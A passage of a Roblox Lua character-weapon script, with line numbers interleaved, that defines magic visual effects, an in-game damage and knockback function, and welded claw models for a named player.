--Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
2198
Mesh.Scale=Mesh.Scale
2199
end
2200
for i=0,1,0.1 do
2201
wait()
2202
Part.Transparency=i
2203
end
2204
Part.Parent=nil
2205
end),prt,msh,CF)
2206
end
2207
 
2208
function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2209
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2210
prt.Anchored=true
2211
prt.CFrame=cframe
2212
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2213
game:GetService("Debris"):AddItem(prt,5)
2214
coroutine.resume(coroutine.create(function(Part,Mesh) 
2215
for i=0,1,delay do
2216
wait()
2217
Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2218
Part.Transparency=i
2219
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2220
end
2221
Part.Parent=nil
2222
end),prt,msh)
2223
end
2224
 
2225
function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2226
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2227
prt.Anchored=false
2228
prt.CFrame=cframe
2229
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2230
local wld=weld(prt,prt,Parent,cframe)
2231
game:GetService("Debris"):AddItem(prt,5)
2232
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2233
for i=0,1,delay do
2234
wait()
2235
Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
2236
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2237
Part.Transparency=i
2238
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2239
end
2240
Part.Parent=nil
2241
end),prt,msh,wld)
2242
end
2243
 
2244
function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2245
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2246
prt.Anchored=false
2247
prt.CFrame=cframe
2248
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2249
local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
2250
game:GetService("Debris"):AddItem(prt,5)
2251
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2252
for i=0,1,delay do
2253
wait()
2254
Weld.C0=euler(i*20,0,0)
2255
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2256
Part.Transparency=i
2257
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2258
end
2259
Part.Parent=nil
2260
end),prt,msh,wld)
2261
end
2262
 
2263
function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2264
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2265
prt.Anchored=true
2266
prt.CFrame=cframe
2267
local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2268
game:GetService("Debris"):AddItem(prt,2)
2269
coroutine.resume(coroutine.create(function(Part,Mesh) 
2270
for i=0,1,delay do
2271
wait()
2272
Part.CFrame=Part.CFrame
2273
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2274
local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2275
prt2.Anchored=true
2276
prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2277
local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
2278
game:GetService("Debris"):AddItem(prt2,2)
2279
coroutine.resume(coroutine.create(function(Part,Mesh) 
2280
for i=0,1,0.1 do
2281
wait()
2282
Part.CFrame=Part.CFrame*cf(0,0.5,0)
2283
end
2284
Part.Parent=nil
2285
end),prt2,msh2)
2286
end
2287
for i=0,1,delay*2 do
2288
wait()
2289
Part.CFrame=Part.CFrame
2290
Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
2291
end
2292
Part.Parent=nil
2293
end),prt,msh)
2294
end
2295
2296
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2297
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2298
prt.Anchored=true
2299
prt.CFrame=cframe
2300
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2301
game:GetService("Debris"):AddItem(prt,2)
2302
coroutine.resume(coroutine.create(function(Part,Mesh) 
2303
for i=0,1,delay do
2304
wait()
2305
Part.CFrame=Part.CFrame
2306
Part.Transparency=i
2307
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2308
end
2309
Part.Parent=nil
2310
end),prt,msh)
2311
end
2312
 
2313
function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
2314
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2315
prt.Anchored=true
2316
prt.CFrame=cframe*euler(x2,y2,z2)
2317
--"http://www.roblox.com/asset/?id=168892465"
2318
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
2319
game:GetService("Debris"):AddItem(prt,2)
2320
coroutine.resume(coroutine.create(function(Part,Mesh) 
2321
for i=0,1,0.03 do
2322
wait()
2323
Part.CFrame=Part.CFrame
2324
Part.Transparency=i
2325
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2326
end
2327
Part.Parent=nil
2328
end),prt,msh)
2329
end
2330
 
2331
function BreakEffect(brickcolor,cframe,x1,y1,z1)
2332
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2333
prt.Anchored=true
2334
prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2335
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2336
game:GetService("Debris"):AddItem(prt,2)
2337
coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) 
2338
CF=Part.CFrame
2339
Numbb=0
2340
randnumb=math.random()/10
2341
rand1=math.random()/10
2342
for i=0,1,rand1 do
2343
wait()
2344
CF=CF*cf(0,math.random()/2,0)
2345
--Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
2346
Part.CFrame=CF*euler(Numbb,0,0)
2347
Part.Transparency=i
2348
Numbb=Numbb+randnumb
2349
end
2350
Part.Parent=nil
2351
end),prt,CF,Numbb,randnumb)
2352
end
2353
 
2354
function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2355
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2356
prt.Anchored=true
2357
prt.CFrame=cframe
2358
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
2359
game:GetService("Debris"):AddItem(prt,5)
2360
coroutine.resume(coroutine.create(function(Part,Mesh) 
2361
for i=0,1,delay do
2362
wait()
2363
Part.CFrame=Part.CFrame*euler(0,0.7,0)
2364
Part.Transparency=i
2365
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2366
end
2367
Part.Parent=nil
2368
end),prt,msh)
2369
end
2370
 
2371
function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2372
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2373
prt.Anchored=true
2374
prt.CFrame=cframe
2375
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
2376
game:GetService("Debris"):AddItem(prt,2)
2377
coroutine.resume(coroutine.create(function(Part,Mesh) 
2378
for i=0,1,delay do
2379
wait()
2380
Part.CFrame=Part.CFrame*cf(0,y3/2,0)
2381
Part.Transparency=i
2382
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2383
end
2384
Part.Parent=nil
2385
end),prt,msh)
2386
end
2387
 
2388
function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
2389
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2390
prt.Anchored=true
2391
prt.CFrame=cframe*cf(x,y,z)
2392
msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
2393
game:GetService("Debris"):AddItem(prt,5)
2394
coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) 
2395
local num=math.random()
2396
local num2=math.random(-3,2)+math.random()
2397
local numm=0
2398
for i=0,1,delay*2 do
2399
swait()
2400
Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
2401
Part.Transparency=i
2402
numm=numm+0.01
2403
end
2404
Part.Parent=nil
2405
Mesh.Parent=nil
2406
end),prt,msh,x,y,z)
2407
end
2408
2409
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
2410
        if hit.Parent==nil then
2411
                return
2412
        end
2413
        h=hit.Parent:FindFirstChild("Humanoid")
2414
        for _,v in pairs(hit.Parent:children()) do
2415
        if v:IsA("Humanoid") then
2416
        h=v
2417
        end
2418
        end
2419
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
2420
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
2421
        end
2422
        if hit.Parent.className=="Hat" then
2423
        hit=hit.Parent.Parent:findFirstChild("Head")
2424
        end
2425
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
2426
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
2427
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
2428
                        return
2429
                end]]
2430
--                        hs(hit,1.2) 
2431
                        c=Instance.new("ObjectValue")
2432
                        c.Name="creator"
2433
                        c.Value=game:service("Players").ThatProGamerKilledU
2434
                        c.Parent=h
2435
                        game:GetService("Debris"):AddItem(c,.5)
2436
                Damage=math.random(minim,maxim)
2437
--                h:TakeDamage(Damage)
2438
                blocked=false
2439
                block=hit.Parent:findFirstChild("Block")
2440
                if block~=nil then
2441
                print(block.className)
2442
                if block.className=="NumberValue" then
2443
                if block.Value>0 then
2444
                blocked=true
2445
                if decreaseblock==nil then
2446
                block.Value=block.Value-1
2447
                end
2448
                end
2449
                end
2450
                if block.className=="IntValue" then
2451
                if block.Value>0 then
2452
                blocked=true
2453
                if decreaseblock~=nil then
2454
                block.Value=block.Value-1
2455
                end
2456
                end
2457
                end
2458
                end
2459
                if blocked==false then
2460
--                h:TakeDamage(Damage)
2461
                h.Health=h.Health-Damage
2462
                showDamage(hit.Parent,Damage,.5,TorsoColor)
2463
                else
2464
                h.Health=h.Health-(Damage/2)
2465
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
2466
                end
2467
                if Type=="Knockdown" then
2468
                hum=hit.Parent.Humanoid
2469
hum.PlatformStand=true
2470
coroutine.resume(coroutine.create(function(HHumanoid)
2471
swait(1)
2472
HHumanoid.PlatformStand=false
2473
end),hum)
2474
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
2475
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
2476
local bodvol=Instance.new("BodyVelocity")
2477
bodvol.velocity=angle*knockback
2478
bodvol.P=5000
2479
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
2480
bodvol.Parent=hit
2481
rl=Instance.new("BodyAngularVelocity")
2482
rl.P=3000
2483
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2484
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
2485
rl.Parent=hit
2486
game:GetService("Debris"):AddItem(bodvol,.5)
2487
game:GetService("Debris"):AddItem(rl,.5)
2488
                elseif Type=="Normal" then
2489
                vp=Instance.new("BodyVelocity")
2490
                vp.P=500
2491
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
2492
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
2493
                if KnockbackType==1 then
2494
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
2495
                elseif KnockbackType==2 then
2496
                vp.velocity=Property.CFrame.lookVector*knockback
2497
                end
2498
                if knockback>0 then
2499
                        vp.Parent=hit.Parent.Torso
2500
                end
2501
                game:GetService("Debris"):AddItem(vp,.5)
2502
                elseif Type=="Up" then
2503
                local bodyVelocity=Instance.new("BodyVelocity")
2504
                bodyVelocity.velocity=vt(0,10,0)
2505
                bodyVelocity.P=1000
2506
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
2507
                bodyVelocity.Parent=hit
2508
                game:GetService("Debris"):AddItem(bodyVelocity,1)
2509
                rl=Instance.new("BodyAngularVelocity")
2510
                rl.P=3000
2511
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2512
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
2513
                rl.Parent=hit
2514
                game:GetService("Debris"):AddItem(rl,.5)
2515
                elseif Type=="Snare" then
2516
                bp=Instance.new("BodyPosition")
2517
                bp.P=2000
2518
                bp.D=100
2519
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2520
                bp.position=hit.Parent.Torso.Position
2521
                bp.Parent=hit.Parent.Torso
2522
                game:GetService("Debris"):AddItem(bp,1)
2523
                elseif Type=="Target" then
2524
                if Targetting==false then
2525
                ZTarget=hit.Parent.Torso
2526
                coroutine.resume(coroutine.create(function(Part) 
2527
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2528
                swait(5)
2529
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2530
                end),ZTarget)
2531
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
2532
                targetgui=Instance.new("BillboardGui")
2533
                targetgui.Parent=ZTarget
2534
                targetgui.Size=UDim2.new(10,100,10,100)
2535
                targ=Instance.new("ImageLabel")
2536
                targ.Parent=targetgui
2537
                targ.BackgroundTransparency=1
2538
                targ.Image="rbxassetid://4834067"
2539
                targ.Size=UDim2.new(1,0,1,0)
2540
                cam.CameraType="Scriptable"
2541
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2542
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2543
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2544
                Targetting=true
2545
                RocketTarget=ZTarget
2546
                for i=1,Property do
2547
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
2548
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
2549
                swait()
2550
                end
2551
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
2552
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2553
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2554
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
2555
                end
2556
                Targetting=false
2557
                RocketTarget=nil
2558
                targetgui.Parent=nil
2559
                cam.CameraType="Custom"
2560
                end
2561
                end
2562
                        debounce=Instance.new("BoolValue")
2563
                        debounce.Name="DebounceHit"
2564
                        debounce.Parent=hit.Parent
2565
                        debounce.Value=true
2566
                        game:GetService("Debris"):AddItem(debounce,Delay)
2567
                        c=Instance.new("ObjectValue")
2568
                        c.Name="creator"
2569
                        c.Value=Player
2570
                        c.Parent=h
2571
                        game:GetService("Debris"):AddItem(c,.5)
2572
                CRIT=false
2573
                hitDeb=true
2574
                AttackPos=6
2575
        end
2576
end
2577
 
2578
showDamage=function(Char,Dealt,du,Color)
2579
        m=Instance.new("Model")
2580
        m.Name=tostring(Dealt)
2581
        h=Instance.new("Humanoid")
2582
        h.Health=0
2583
        h.MaxHealth=0
2584
        h.Parent=m
2585
        c=Instance.new("Part")
2586
        c.Transparency=0
2587
        c.BrickColor=TorsoColor
2588
        c.Name="Head"
2589
        c.TopSurface=0
2590
        c.BottomSurface=0
2591
        c.formFactor="Plate"
2592
        c.Size=Vector3.new(1,.4,1)
2593
        ms=Instance.new("CylinderMesh")
2594
        ms.Scale=Vector3.new(.8,.8,.8)
2595
        so("http://www.roblox.com/asset/?id=199149269",c,1,1) 
2596
        if CRIT==true then
2597
                ms.Scale=Vector3.new(1,1.25,1)
2598
        end
2599
        ms.Parent=c
2600
        c.Reflectance=0
2601
        Instance.new("BodyGyro").Parent=c
2602
        c.Parent=m
2603
        if Char:findFirstChild("Head")~=nil then
2604
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
2605
        elseif Char.Parent:findFirstChild("Head")~=nil then
2606
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
2607
        end
2608
        f=Instance.new("BodyPosition")
2609
        f.P=2000
2610
        f.D=100
2611
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2612
        f.position=c.Position+Vector3.new(0,3,0)
2613
        f.Parent=c
2614
        game:GetService("Debris"):AddItem(m,.5+du)
2615
        c.CanCollide=false
2616
        m.Parent=workspace
2617
        c.CanCollide=false
2618
end
2619
2620
    Player=game:GetService('Players').ThatProGamerKilledU
2621
    Character=Player.Character
2622
    m=Instance.new('Model',Character)
2623
2624
2625
    local function weldBetween(a, b)
2626
        local weldd = Instance.new("ManualWeld")
2627
        weldd.Part0 = a
2628
        weldd.Part1 = b
2629
        weldd.C0 = CFrame.new()
2630
        weldd.C1 = b.CFrame:inverse() * a.CFrame
2631
        weldd.Parent = a
2632
        return weldd
2633
    end
2634
    
2635
    it=Instance.new
2636
    
2637
    function nooutline(part)
2638
        part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
2639
    end
2640
    
2641
    function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
2642
        local fp=it("Part")
2643
        fp.formFactor=formfactor
2644
        fp.Parent=parent
2645
        fp.Reflectance=reflectance
2646
        fp.Transparency=transparency
2647
        fp.CanCollide=false
2648
        fp.Locked=true
2649
        fp.BrickColor=BrickColor.new(tostring(brickcolor))
2650
        fp.Name=name
2651
        fp.Size=size
2652
        fp.Position=Character.Torso.Position
2653
        nooutline(fp)
2654
        fp.Material=material
2655
        fp:BreakJoints()
2656
        return fp
2657
    end
2658
    
2659
    function mesh(Mesh,part,meshtype,meshid,offset,scale)
2660
        local mesh=it(Mesh)
2661
        mesh.Parent=part
2662
        if Mesh=="SpecialMesh" then
2663
            mesh.MeshType=meshtype
2664
            mesh.MeshId=meshid
2665
        end
2666
        mesh.Offset=offset
2667
        mesh.Scale=scale
2668
        return mesh
2669
    end
2670
    
2671
    function weld(parent,part0,part1,c0,c1)
2672
        local weld=it("Weld")
2673
        weld.Parent=parent
2674
        weld.Part0=part0
2675
        weld.Part1=part1
2676
        weld.C0=c0
2677
        weld.C1=c1
2678
        return weld
2679
    end
2680
2681
local modelzorz=Instance.new("Model") 
2682
modelzorz.Parent=Character 
2683
modelzorz.Name="Claw1"
2684
2685
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2686
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2687
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2688
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2689
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2690
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2691
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2692
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2693
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2694
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2695
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2696
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2697
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2698
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2699
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2700
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2701
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2702
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2703
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2704
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2705
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2706
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2707
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2708
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2709
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2710
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2711
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2712
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
2713
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2714
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2715
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2716
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2717
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
2718
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2719
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2720
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2721
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2722
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2723
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2724
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2725
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2726
2727
local modelzorz2=Instance.new("Model") 
2728
modelzorz2.Parent=Character 
2729
modelzorz2.Name="Claw2"
2730
2731
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2732
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2733
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2734
